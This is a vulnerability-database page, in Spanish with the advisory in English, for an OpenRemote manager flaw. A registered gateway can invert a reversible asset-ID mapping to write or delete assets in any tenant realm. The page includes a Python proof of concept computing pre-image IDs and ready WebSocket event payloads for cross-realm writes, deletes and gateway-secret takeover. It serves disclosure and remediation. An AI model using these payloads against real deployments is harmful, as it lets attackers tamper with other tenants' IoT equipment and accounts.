llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · io.openremote:openremote-manager

GHSA-8PJC-WQ2P-3XR4

Registered edge gateway can write and delete arbitrary assets in any realm (reversible-ID authorization bypass)

Parche disponible
Descargar PNG JSON
CVSS 4.0
2.3
Baja
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -14 d de la divulgación
Exposición43 dDesde la divulgación, 8 oct 2026, 7:32 a. m.
Detección42 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 4.0 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Ponla al final de la lista y no pasa nada.Riesgo bajo, café alto.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.31.0
Monitoreo
Detectada +1
24 sept 26
8 oct 26
19 nov 26
21 nov 26
24 sept 26
9 oct 26
23 oct 26
7 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.31.0 io.openremote:openremote-manager · -14 d desde divulgación
Divulgación Publicada GHSA-8PJC-WQ2P-3XR4 divulgada · CVSS 2.3 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

OPENREMOTE-002 — Registered edge gateway can write and delete arbitrary assets in any realm (reversible-ID authorization bypass)

## Summary
Inbound events from a connected edge gateway bypass the standard client event
authorization on purpose — the manager comments that "all consumers within the
`GatewayConnector` must handle authorization and/or ensure operations can only be
conducted on gateway descendants" (`GatewayService.onGatewayMessageIntercept`,
lines 329-331). No such descendant/realm check is actually implemented. The only thing
that maps a gateway's event onto a local asset is `GatewayConnector.mapAssetId`, an
"easily reversible mathematical" transform (its own Javadoc) that merely shifts the
first two characters of an asset ID by a per-gateway offset derived from the gateway's
own (public) asset ID and copies the remaining 20 characters verbatim.

Because the transform is fully invertible with knowledge of the gateway ID (which the
attacker owns), a malicious or compromised gateway can craft an event whose ID maps
onto any asset ID in the entire deployment, in any realm, and:
- overwrite any attribute value on any asset in any realm
(`onAttributeEvent` → `processAttributeEvent`, no realm/authz check), and
- delete any (leaf) asset in any realm
(`onAssetEvent` DELETE → `deleteAssetsLocally` → `AssetStorageService.delete(ids, true)`,
which skips all gateway and realm checks).

This breaks multi-tenant isolation: an actor confined to one gateway (a
*restricted, zero-permission service user* by design) escalates to system-wide asset
write and delete across all tenants.

## CVSS v3.1
Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H` → Base 9.6 (Critical); reported as High given the gateway-credential precondition

Metric-by-metric:
- AV:N — over the gateway's network session (WebSocket/MQTT) to the manager.
- AC:L — deterministic; the ID pre-image is a closed-form computation.
- PR:L — the attacker must control one *registered, enabled* gateway's
service-user credentials (`gateway-<gatewayId>` / secret). A realm administrator can
create a gateway asset in their own realm and obtain its credentials, so the entry
privilege is that of an ordinary tenant admin — not the system super-user. (A
compromised physical field gateway reaches the same position.)
- UI:N — none.
- S:C — the gateway belongs to one realm's authority; the impacted assets belong
to other realms' authorities → tenant-boundary scope change.
- C:L — limited disclosure (created/merged assets echo back); the primary impact
is not confidentiality.
- I:H — arbitrary attribute writes to any asset in any realm (e.g. flipping
actuators, forging sensor values) and asset re-parent/overwrite.
- A:H — arbitrary deletion of assets in any realm.

I report the finding as High (not Critical) because exploitation requires the
attacker to already operate a registered gateway; where gateway registration is
available to tenant admins or field devices are physically reachable, treat it as
Critical.

## Affected component
- `manager/src/main/java/org/openremote/manager/gateway/GatewayConnector.java`
- `mapAssetId` (lines 706-728) — the reversible transform (the "boundary")
- `onAttributeEvent` (lines 672-675) — inbound attribute write, no descendant check
- `onAssetEvent` (lines 663-670) — inbound CREATE/UPDATE/DELETE, no descendant check
- `saveAssetLocally` (lines 677-684), `deleteAssetsLocally` (lines 686-689)
- `onGatewayEvent` (lines 380-407) — dispatch after initial sync
- `manager/src/main/java/org/openremote/manager/gateway/GatewayService.java`
- `onGatewayMessageIntercept` (lines 329-359) — explicitly bypasses client event
authorization; the "must ensure operations can only be conducted on gateway
descendants" invariant is stated but never enforced
- `processGatewayMessage` (lines 696-706), `getGatewayIdFromClientId` (uses the
authenticated clientId — so the gateway *cannot* impersonate another gateway, but
that does not matter: its own mapping already reaches every asset)
- `manager/src/main/java/org/openremote/manager/asset/AssetProcessingService.java`
`processAttributeEvent` — resolves the target purely by `event.getId()`, no realm
scoping (the gateway-sourced event skips `onAttributeEventIntercepted`, which returns
`false` when `source == "GatewayService"`)
- `manager/src/main/java/org/openremote/manager/asset/AssetStorageService.java`
`delete(List<String> ids, boolean skipGatewayCheck)` (lines 842-896) — with
`skipGatewayCheck=true` (as called by `deleteAssetsLocally`) the SQL only requires
the asset to be childless; no realm or ownership predicate.
- Commit: HEAD `3dbc182134`; present in all releases ≤ 1.26.1.

## Reachability
1. Attacker controls a registered/enabled gateway → holds `gateway-<gatewayId>`
service-user credentials and knows its own `gatewayId` (public).
2. Gateway connects and completes initial sync
(`initialSyncInProgress` cleared in `onInitialSyncComplete`, line 655), after which
`onGatewayEvent` dispatches inbound `SharedEvent`s directly to the consumers.
3. `onGatewayMessageIntercept` routes the gateway's messages, deriving `gatewayId`
from the authenticated clientId (no cross-gateway impersonation) and calling
`processGatewayMessage` → `connector.onGatewayEvent`.
4. Write: the gateway sends an `AttributeEvent` with
`id = P`, `name = <existing attribute of target>`, `value = <attacker value>`,
where `P` is chosen so that `mapAssetId(gatewayId, P, inbound)` equals the victim
asset ID `T` (see PoC). `onAttributeEvent` maps `P`→`T` and calls
`publishAttributeEvent` → `sendAttributeEvent(event, "GatewayService")`. Because the
source is `GatewayService`, `onAttributeEventIntercepted` returns `false` and
`processAttributeEvent` writes `value` to attribute `name` of asset `T` with no
realm/authz check.
5. Delete: the gateway sends an `AssetEvent(cause=DELETE, id=P)`; `onAssetEvent`
maps `P`→`T` and calls `deleteAssetsLocally([T])` →
`AssetStorageService.delete([T], true)`, which deletes `T` (if childless) with no
realm/ownership check.

The `mapAssetId` transform is the only thing between the gateway and arbitrary assets,
and it is invertible — so no guard blocks the chain. (Cross-realm *creation* via
`saveAssetLocally` is blocked because it forces `realm = gateway's realm` and
`AssetStorageService` rejects realm changes on merge — but attribute-write and delete
are not affected by that.)

## Root cause
The gateway event path deliberately skips the central `authorizeEventWrite`
authorization and substitutes an ID *obfuscation* (`mapAssetId`) for an authorization
*check*. The transform only permutes two characters and is reversible by anyone who
knows the gateway ID, so it provides no confinement. Downstream sinks
(`processAttributeEvent`, `delete(ids, true)`) resolve assets by global ID with no
realm predicate.

## Proof of concept (safe / benign)
The transform's invertibility — the core of the bug — is demonstrated with a faithful,
standalone re-implementation of `mapAssetId`. Given the attacker's own `gatewayId` and
an arbitrary victim asset ID in another realm, it computes the exact event ID the
gateway must send so the manager lands on the victim asset. It touches no network and
no live system.

#!/usr/bin/env python3
import string
ALPHA = list(string.ascii_lowercase)+list(string.ascii_uppercase)+list(string.digits)  # 62
N = len(ALPHA); IDX = {c:i for i,c in enumerate(ALPHA)}

def map_asset_id(gateway_id, asset_id, outbound):   # exact port of GatewayConnector.mapAssetId
    g1, g2 = ord(gateway_id[0])%N, ord(gateway_id[1])%N
    s = -1 if outbound else 1
    a1 = (IDX[asset_id[0]] + s*g1 + N)%N
    a2 = (IDX[asset_id[1]] + s*g2 + N)%N
    return ALPHA[a1]+ALPHA[a2]+asset_id[2:]

def inbound_preimage(gateway_id, target):           # P s.t. map(P, inbound)==target
    g1, g2 = ord(gateway_id[0])%N, ord(gateway_id[1])%N
    return ALPHA[(IDX[target[0]]-g1+N)%N]+ALPHA[(IDX[target[1]]-g2+N)%N]+target[2:]

attacker_gateway_id = "7cWq3aBcDeFgHiJkLmNoPq"      # attacker's own (public) gateway id
victim_asset_id     = "0ZxYwVuTsRqPoNmLkJiHgF"      # a light/actuator in ANOTHER realm
crafted = inbound_preimage(attacker_gateway_id, victim_asset_id)
landed  = map_asset_id(attacker_gateway_id, crafted, outbound=False)
print("crafted event id to send :", crafted)
print("manager maps it onto     :", landed)
assert landed == victim_asset_id
print("hit victim asset in other realm:", landed == victim_asset_id)
print("only 2 chars differ, 20 copied :", crafted[2:] == victim_asset_id[2:])

Observed output:

crafted event id to send : 7oxYwVuTsRqPoNmLkJiHgF
manager maps it onto     : 0ZxYwVuTsRqPoNmLkJiHgF
hit victim asset in other realm: True
only 2 chars differ, 20 copied : True

The attacker embeds `crafted` as the `id` of an `AttributeEvent` (write) or a
`DELETE` `AssetEvent` sent over the gateway session; the manager maps it onto the
victim asset in the other realm and executes the operation with no realm/authz check.

*Static verification note:* end-to-end confirmed from source; a full dynamic run needs
a running manager plus a custom gateway WebSocket client, so the executable PoC targets
the exact defective boundary (the reversible mapping) rather than a live server.

## Adversarial re-read (what I tried to refute it with)
- *Can the gateway impersonate another gateway's ID to widen reach?* No —
`getGatewayIdFromClientId` uses the authenticated clientId. But this does not
save the design: the gateway's *own* mapping already reaches every asset ID, because
`mapAssetId` copies characters 3..22 verbatim and those 20 characters already equal
the victim's — only 2 characters are offset, and the offset is known.
- *Is there a descendant/subtree check I missed after mapping?* I read
`onAttributeEvent`, `onAssetEvent`, `saveAssetLocally`, `deleteAssetsLocally`, and
`processGatewayMessage` — none verifies that the mapped target is a descendant of
`gatewayId`. The `GatewayService` comment states the invariant but no code enforces
it.
- *Does the write path re-authorize downstream?* No — the gateway-sourced event sets
`source = "GatewayService"`, so `onAttributeEventIntercepted` returns `false` and
`processAttributeEvent` runs without `authorizeEventWrite`.
- *Is delete realm-scoped?* No — `delete(ids, true)` (skipGatewayCheck) filters only
by `id` and childless-ness (`AssetStorageService.java:880-888`).
- *Is cross-realm blocked anywhere?* Only for `merge` realm changes
(`saveAssetLocally` create/update). Attribute-write and delete are not.
- Survived all refutations → CONFIRMED (static).

## Remediation
Enforce the stated invariant. After the inbound `mapAssetId`, verify the resulting
asset ID is actually a descendant of `gatewayId` (e.g. via the gateway's
`assetIdGatewayIdMap` / asset path) before calling `saveAssetLocally`,
`deleteAssetsLocally`, or `publishAttributeEvent` in `onAttributeEvent`; reject events
whose mapped target is not in the gateway's subtree. Do not treat the ID obfuscation
as an authorization boundary — route gateway-sourced writes/deletes through the same
realm/ownership authorization used for client events, scoped to the gateway's realm and
descendant set.

## Confidence
High (code-level CONFIRMED; STATIC-SUSPECTED per the audit rubric — the reversible
transform is demonstrated by an executable PoC; the downstream missing checks are
established from source). Not dynamically executed against a live manager.

Proof-of-Concept source (`or002_gateway_mapid_preimage.py`)

#!/usr/bin/env python3
"""
PoC for OPENREMOTE-002 — Gateway asset-ID "authorization" is a reversible permutation.

This is a faithful, standalone re-implementation of
  org.openremote.manager.gateway.GatewayConnector.mapAssetId(gatewayId, assetId, outbound)
(HEAD 3dbc182134 / releases <= 1.26.1).

The manager relies on this mapping as the ONLY boundary that is supposed to keep a
connected edge gateway confined to its own asset subtree (see the comment at
GatewayService.onGatewayMessageIntercept: "all consumers within the GatewayConnector
must handle authorization and/or ensure operations can only be conducted on gateway
descendants"). No descendant/realm check is actually performed; the mapping IS the
boundary.

The mapping only shifts the FIRST TWO characters of the id by a per-gateway offset
derived from the (public) gateway asset id, and copies the remaining 20 characters
verbatim. It is therefore trivially invertible: a gateway that wants the manager to
act on an arbitrary target asset T (in ANY realm) simply sends an inbound event whose
id is the pre-image P computed below. mapAssetId(gatewayId, P, inbound) == T.

This script computes that pre-image. It is completely benign: it touches no network
and no OpenRemote instance; it only demonstrates that the "authorization" is a
reversible obfuscation.
"""

import string

# ALPHA_NUMERIC_CHARACTERS: a-z, then A-Z, then 0-9  (62 chars) -- exact order from source.
ALPHA = list(string.ascii_lowercase) + list(string.ascii_uppercase) + list(string.digits)
N = len(ALPHA)  # 62
IDX = {c: i for i, c in enumerate(ALPHA)}


def map_asset_id(gateway_id: str, asset_id: str, outbound: bool) -> str:
    """Exact port of GatewayConnector.mapAssetId."""
    g1 = ord(gateway_id[0]) % N
    g2 = ord(gateway_id[1]) % N
    sign = -1 if outbound else 1  # inbound = +, outbound = -
    a1 = (IDX[asset_id[0]] + sign * g1 + N) % N
    a2 = (IDX[asset_id[1]] + sign * g2 + N) % N
    return ALPHA[a1] + ALPHA[a2] + asset_id[2:]


def inbound_preimage(gateway_id: str, target_asset_id: str) -> str:
    """
    Return P such that map_asset_id(gateway_id, P, outbound=False) == target_asset_id.
    i.e. the raw asset id the attacker puts inside the SharedEvent it sends over the
    gateway session, so the manager's inbound mapping lands exactly on target_asset_id.
    """
    g1 = ord(gateway_id[0]) % N
    g2 = ord(gateway_id[1]) % N
    p1 = (IDX[target_asset_id[0]] - g1 + N) % N
    p2 = (IDX[target_asset_id[1]] - g2 + N) % N
    return ALPHA[p1] + ALPHA[p2] + target_asset_id[2:]


if __name__ == "__main__":
    # The attacker legitimately owns/operates this gateway (realm "acme"). Its asset id
    # is public (it is the gateway asset's own id and the prefix of its service-user
    # clientId "gateway-<id>").
    attacker_gateway_id = "7cWq3aBcDeFgHiJkLmNoPq"

    # A victim asset the attacker must NOT be able to touch: e.g. a light actuator
    # belonging to a DIFFERENT tenant realm ("victimtenant"). 22-char OpenRemote id.
    victim_asset_id = "0ZxYwVuTsRqPoNmLkJiHgF"

    print("gatewayId (attacker-controlled, public) :", attacker_gateway_id)
    print("victim target assetId (another realm)   :", victim_asset_id)

    # Craft the inbound pre-image and verify the manager will map it onto the victim id.
    crafted = inbound_preimage(attacker_gateway_id, victim_asset_id)
    landed = map_asset_id(attacker_gateway_id, crafted, outbound=False)

    print("crafted event id the gateway must send  :", crafted)
    print("manager maps crafted id (inbound) to    :", landed)
    assert landed == victim_asset_id, "preimage failed"
    print()
    print("[RESULT] manager landed exactly on the victim asset in another realm:",
          landed == victim_asset_id)
    print("[RESULT] only the first 2 chars differ; the remaining 20 are copied verbatim:",
          crafted[2:] == victim_asset_id[2:])
    print()
    print("=> The gateway can address ANY asset id in ANY realm by sending the crafted")
    print("   id inside an AttributeEvent (write) or a DELETE AssetEvent. No descendant")
    print("   or realm check exists on GatewayConnector.onAttributeEvent /")
    print("   onAssetEvent / saveAssetLocally, and AssetStorageService.delete(ids, true)")
    print("   / AssetProcessingService.processAttributeEvent perform no realm scoping.")

---

BELOW IS THE DUPLICATE ADVISORY PRODUCED BY @hongshengy

---

Summary

OpenRemote gateway connections intentionally bypass the standard client event authorization: `GatewayService.onGatewayMessageIntercept` consumes inbound WebSocket events from gateway service clients with `exchange.setRouteStop(true)` before the normal authorizers run. The code documents the contract that this creates:

/**
 * This method by-passes the standard client event authorization so all consumers within the
 * GatewayConnector must handle authorization and/or ensure operations can only be conducted on
 * gateway descendants.
 */

`GatewayConnector` violates this contract. `onAttributeEvent`/`onAssetEvent` map the attacker-supplied asset ID through `mapAssetId` and push the event straight into the internal processing chain — with no check that the mapped asset is a descendant of the calling gateway. Since `mapAssetId` is a trivially reversible shift of the first two characters (the Javadoc itself calls it "an easily reversible mathematical way"), a gateway client can craft the preimage of any target asset ID in any realm and thereby:

  1. Write any attribute of any asset in any realm (`AttributeEvent` → `AssetProcessingService.processAttributeEvent` → `assetStorageService.updateAttributeValue`, which performs no authorization).
  2. Delete any leaf asset in any realm (`AssetEvent` DELETE → `deleteAssetsLocally` → `assetStorageService.delete(ids, true)`, which skips even the gateway-descendant protection).
  3. Take over other realms' gateways: writing the `CLIENT_SECRET` attribute of another realm's gateway asset makes `GatewayService` call `identityProvider.resetSecret()` with the attacker-chosen value, after which the attacker can authenticate as the victim realm's gateway service user.

Affected code

`manager/src/main/java/org/openremote/manager/gateway/GatewayConnector.java` (commit `600a929`):

protected void onAssetEvent(AssetEvent e) {
    switch (e.getCause()) {
      case CREATE, READ, UPDATE -> saveAssetLocally(e.getAsset());
      case DELETE ->
          deleteAssetsLocally(Collections.singletonList(mapAssetId(gatewayId, e.getId(), false))); // no descendant check
    }
}

protected void onAttributeEvent(AttributeEvent e) {
    // Just push the event through the processing chain
    publishAttributeEvent(
        new AttributeEvent(
            mapAssetId(gatewayId, e.getId(), false),  // maps attacker-supplied ID, no ownership check
            e.getName(), e.getValue().orElse(null), e.getTimestamp()));
}

protected void publishAttributeEvent(AttributeEvent event) {
    assetProcessingService.sendAttributeEvent(event, GatewayService.class.getSimpleName());
}

`manager/src/main/java/org/openremote/manager/gateway/GatewayService.java`:

// lines 374-400: inbound gateway events consume the exchange before standard authorization
if (body().isInstanceOf(SharedEvent.class).matches(exchange)) {
    exchange.setRouteStop(true);
    String gatewayId = getGatewayIdFromClientId(clientId);
    processGatewayMessage(gatewayId, sessionKey, exchange.getIn().getBody(SharedEvent.class));
}

// lines 822-831: routed directly into the connector
connector.onGatewayEvent(event);

`mapAssetId` (GatewayConnector.java lines 840–877) shifts only the first two characters of the asset ID by the first two characters of the gateway ID (mod 62), leaving the rest unchanged — the mapping is bijective and the preimage of any target ID is computed by shifting backward. It is an ID-uniqueness mechanism, not a security boundary.

The internal processing chain performs no authorization: `AssetProcessingService.processAttributeEvent` (lines 410–586) enriches and persists the event (`assetStorageService.updateAttributeValue`, line ~559); the authorizers registered on `clientEventService` (lines 133–207) only guard client-facing events, which the gateway interceptor bypasses. Gateway service users are intentionally provisioned with no roles/permissions (GatewayService.java `createUpdateGatewayServiceUser`, service user created "restricted with no permissions" because gateway events are handled by the connector) — so once inside the connector, nothing re-checks anything.

Steps to reproduce

  1. As any authenticated user with asset-write permission in realm A (the standard `write` composite role), create an asset of type `GatewayAsset` (no type restriction exists in `AssetResourceImpl` for non-restricted users). The persistence event triggers `GatewayService.processGatewayChange` → `createUpdateGatewayServiceUser`, which auto-provisions the service user `service-account:gateway-<id>` and stores its secret in the `CLIENT_SECRET` attribute of the gateway asset — readable by the asset's creator.
  2. Obtain a token for the gateway service user (client credentials: client id `service-account:gateway-<id>` + the `CLIENT_SECRET` value) and connect to `/websocket/events?realm=<realmA>` with the Bearer token.
  3. For a target asset ID `T` in any realm, compute the preimage: shift the first two characters backward by the first two characters of the gateway ID (mod 62 over the alphanumeric alphabet), keep the remaining characters.
  4. Send the write: `EVENT:{"attribute":{"id":"<preimage(T)>","name":"<attr>","value":<value>}}` → the attribute is written on the target asset in the other realm. Or send the delete: `EVENT:{"asset":{"cause":"DELETE","id":"<preimage(T)>"}}` → the target leaf asset is deleted.
  5. Escalation: repeat step 4 against another realm's gateway asset `CLIENT_SECRET` attribute to set a known secret; `GatewayService` calls `identityProvider.resetSecret()` with the attacker-chosen value, after which the attacker authenticates as the victim realm's gateway service user.

Target asset IDs are discoverable via public assets (assets with public read access), syslog messages, or the `ruleset-changed` WebSocket disclosure. The same connector also handles `AssetsEvent` sync and command/response events with the same missing descendant validation.

Impact

Full cross-realm integrity and availability break of the asset graph: a low-privileged user of one tenant (realm) can modify or destroy arbitrary assets — configuration, actuator states, rules inputs — of every other tenant on the instance, including IoT actuator attributes whose values can drive physical equipment, and can pivot into other realms' gateway service accounts. CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.6 (Critical).

Recommended fix

In `GatewayConnector.onAttributeEvent`, `onAssetEvent` (DELETE branch) and `saveAssetLocally`, validate that the mapped asset ID identifies a descendant of the calling gateway (e.g. membership in `GatewayService.assetIdGatewayIdMap` / the gateway's descendant set) before publishing; reject otherwise. The `CLIENT_SECRET` reset path should additionally require elevated privileges rather than any attribute write on the gateway asset.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:N
AltoBajoNinguno
Integridad (sistema)VI:L
AltoBajoNinguno
Disponib. (sistema)VA:N
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
5.9/ 10Medio
Vector 5.9 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
io.openremote:openremote-manager< 1.31.0
1.31.0
1.34.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
maven io.openremote:openremote-manager
Corregida 1.31.0 -14 d 1.34.1 no afectada
Versiones corregidas1.31.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/openremote/core/security/advisories/GHSA-8pjc-wq2p-3xr4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.